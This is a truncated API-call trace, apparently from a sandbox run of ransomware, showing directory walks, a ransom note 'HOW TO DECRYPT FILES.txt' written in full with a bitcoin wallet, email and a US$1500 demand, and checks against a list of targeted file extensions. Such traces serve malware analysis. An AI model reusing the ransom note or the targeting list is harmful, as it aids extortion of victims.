(pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", pszSpec="*.flac") returned 0 [0100.250] lstrlenA (lpString="*.flac") returned 6 [0100.250] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", pszSpec="*.m4a") returned 0 [0100.250] lstrlenA (lpString="*.m4a") returned 5 [0100.250] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", pszSpec="*.csv") returned 0 [0100.250] lstrlenA (lpString="*.csv") returned 5 [0100.250] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcf9a66, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdcf9a66, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", cAlternateFileName="")) returned 0 [0100.250] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0100.250] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x1ef066a4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ef066a4, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="1.0.0.0_en_31bf3856ad364e35", cAlternateFileName="100~1.0_E")) returned 0 [0100.250] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0100.251] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819dda40, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819dda40, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819dda40, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x65722e74, dwReserved1=0x72756f73, cFileName="Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause", cAlternateFileName="MICROS~1.UPD")) returned 1 [0100.251] lstrcmpA (lpString1=".", lpString2="Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause") returned -1 [0100.251] lstrcmpA (lpString1="..", lpString2="Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause") returned -1 [0100.251] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0100.251] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause" [0100.251] lstrlenA (lpString="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause") returned 85 [0100.251] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819dda40, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819dda40, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819dda40, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0100.252] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.252] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819dda40, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819dda40, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819dda40, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.252] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.252] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.252] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819dda40, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819dda40, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819dda40, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="6.1.0.0__31bf3856ad364e35", cAlternateFileName="610~1.0__")) returned 1 [0100.252] lstrcmpA (lpString1=".", lpString2="6.1.0.0__31bf3856ad364e35") returned -1 [0100.252] lstrcmpA (lpString1="..", lpString2="6.1.0.0__31bf3856ad364e35") returned -1 [0100.252] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\*.*") returned="*.*" [0100.252] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\", lpString2="6.1.0.0__31bf3856ad364e35" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35" [0100.252] lstrlenA (lpString="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35") returned 111 [0100.252] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819dda40, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819dda40, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819dda40, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0100.253] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.253] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819dda40, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819dda40, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819dda40, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.253] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.253] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.253] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdaca3edc, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0xacec9500, ftLastAccessTime.dwHighDateTime=0x1ca0424, ftLastWriteTime.dwLowDateTime=0x4db8b965, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", cAlternateFileName="")) returned 1 [0100.253] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0100.253] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll") returned -1 [0100.253] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll") returned -1 [0100.253] lstrcmpiA (lpString1="", lpString2="Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll") returned -1 [0100.253] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\*.*") returned="*.*" [0100.253] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\" [0100.253] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\") returned="" [0100.253] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" [0100.253] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\microsoft.windows.diagnosis.commands.updatediagrootcause\\6.1.0.0__31bf3856ad364e35\\how to decrypt files.txt")) returned 0xffffffff [0100.253] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\microsoft.windows.diagnosis.commands.updatediagrootcause\\6.1.0.0__31bf3856ad364e35\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0100.254] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0100.254] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0100.256] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0100.256] CloseHandle (hObject=0x90) returned 1 [0100.256] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\", lpString2="Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll" [0100.256] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", pszSpec="*.ems") returned 0 [0100.256] lstrlenA (lpString="*.ems") returned 5 [0100.256] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", pszSpec="*.db") returned 0 [0100.256] lstrlenA (lpString="*.db") returned 4 [0100.256] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", pszSpec="*.dbf") returned 0 [0100.256] lstrlenA (lpString="*.dbf") returned 5 [0100.256] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", pszSpec="*.myox") returned 0 [0100.257] lstrlenA (lpString="*.myox") returned 6 [0100.257] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", pszSpec="*.myo") returned 0 [0100.257] lstrlenA (lpString="*.myo") returned 5 [0100.257] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", pszSpec="*.qbw") returned 0 [0100.257] lstrlenA (lpString="*.qbw") returned 5 [0100.257] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", pszSpec="*.qbb") returned 0 [0100.257] lstrlenA (lpString="*.qbb") returned 5 [0100.257] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", pszSpec="*.qbm") returned 0 [0100.257] lstrlenA (lpString="*.qbm") returned 5 [0100.257] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", pszSpec="*.qbo") returned 0 [0100.257] lstrlenA (lpString="*.qbo") returned 5 [0100.257] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", pszSpec="*.qbx") returned 0 [0100.257] lstrlenA (lpString="*.qbx") returned 5 [0100.257] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", pszSpec="*.qba") returned 0 [0100.257] lstrlenA (lpString="*.qba") returned 5 [0100.257] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", pszSpec="*.qby") returned 0 [0100.257] lstrlenA (lpString="*.qby") returned 5 [0100.257] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", pszSpec="*.qbj") returned 0 [0100.257] lstrlenA (lpString="*.qbj") returned 5 [0100.257] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", pszSpec="*.ofx") returned 0 [0100.257] lstrlenA (lpString="*.ofx") returned 5 [0100.257] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", pszSpec="*.qif") returned 0 [0100.257] lstrlenA (lpString="*.qif") returned 5 [0100.257] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", pszSpec="*.mye") returned 0 [0100.258] lstrlenA (lpString="*.mye") returned 5 [0100.258] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", pszSpec="*.mbox") returned 0 [0100.258] lstrlenA (lpString="*.mbox") returned 6 [0100.258] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", pszSpec="*.eml") returned 0 [0100.258] lstrlenA (lpString="*.eml") returned 5 [0100.258] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", pszSpec="*.pst") returned 0 [0100.258] lstrlenA (lpString="*.pst") returned 5 [0100.258] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", pszSpec="*.ost") returned 0 [0100.258] lstrlenA (lpString="*.ost") returned 5 [0100.258] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", pszSpec="*.idx") returned 0 [0100.258] lstrlenA (lpString="*.idx") returned 5 [0100.258] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", pszSpec="*.dbx") returned 0 [0100.258] lstrlenA (lpString="*.dbx") returned 5 [0100.258] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", pszSpec="*.sql") returned 0 [0100.258] lstrlenA (lpString="*.sql") returned 5 [0100.258] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", pszSpec="*.mdb") returned 0 [0100.258] lstrlenA (lpString="*.mdb") returned 5 [0100.259] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", pszSpec="*.fdb") returned 0 [0100.259] lstrlenA (lpString="*.fdb") returned 5 [0100.259] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", pszSpec="*.wab") returned 0 [0100.259] lstrlenA (lpString="*.wab") returned 5 [0100.259] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", pszSpec="*.dat") returned 0 [0100.259] lstrlenA (lpString="*.dat") returned 5 [0100.259] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", pszSpec="*.txt") returned 0 [0100.259] lstrlenA (lpString="*.txt") returned 5 [0100.259] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", pszSpec="*.jpeg") returned 0 [0100.259] lstrlenA (lpString="*.jpeg") returned 6 [0100.259] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", pszSpec="*.jpg") returned 0 [0100.259] lstrlenA (lpString="*.jpg") returned 5 [0100.259] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", pszSpec="*.png") returned 0 [0100.259] lstrlenA (lpString="*.png") returned 5 [0100.259] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", pszSpec="*.php") returned 0 [0100.259] lstrlenA (lpString="*.php") returned 5 [0100.259] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", pszSpec="*.cs") returned 0 [0100.259] lstrlenA (lpString="*.cs") returned 4 [0100.259] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", pszSpec="*.cpp") returned 0 [0100.259] lstrlenA (lpString="*.cpp") returned 5 [0100.259] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", pszSpec="*.rar") returned 0 [0100.259] lstrlenA (lpString="*.rar") returned 5 [0100.260] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", pszSpec="*.zip") returned 0 [0100.260] lstrlenA (lpString="*.zip") returned 5 [0100.260] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", pszSpec="*.html") returned 0 [0100.260] lstrlenA (lpString="*.html") returned 6 [0100.260] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", pszSpec="*.htm") returned 0 [0100.260] lstrlenA (lpString="*.htm") returned 5 [0100.260] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", pszSpec="*.xlsx") returned 0 [0100.260] lstrlenA (lpString="*.xlsx") returned 6 [0100.260] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", pszSpec="*.xls") returned 0 [0100.260] lstrlenA (lpString="*.xls") returned 5 [0100.260] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", pszSpec="*.mp4") returned 0 [0100.260] lstrlenA 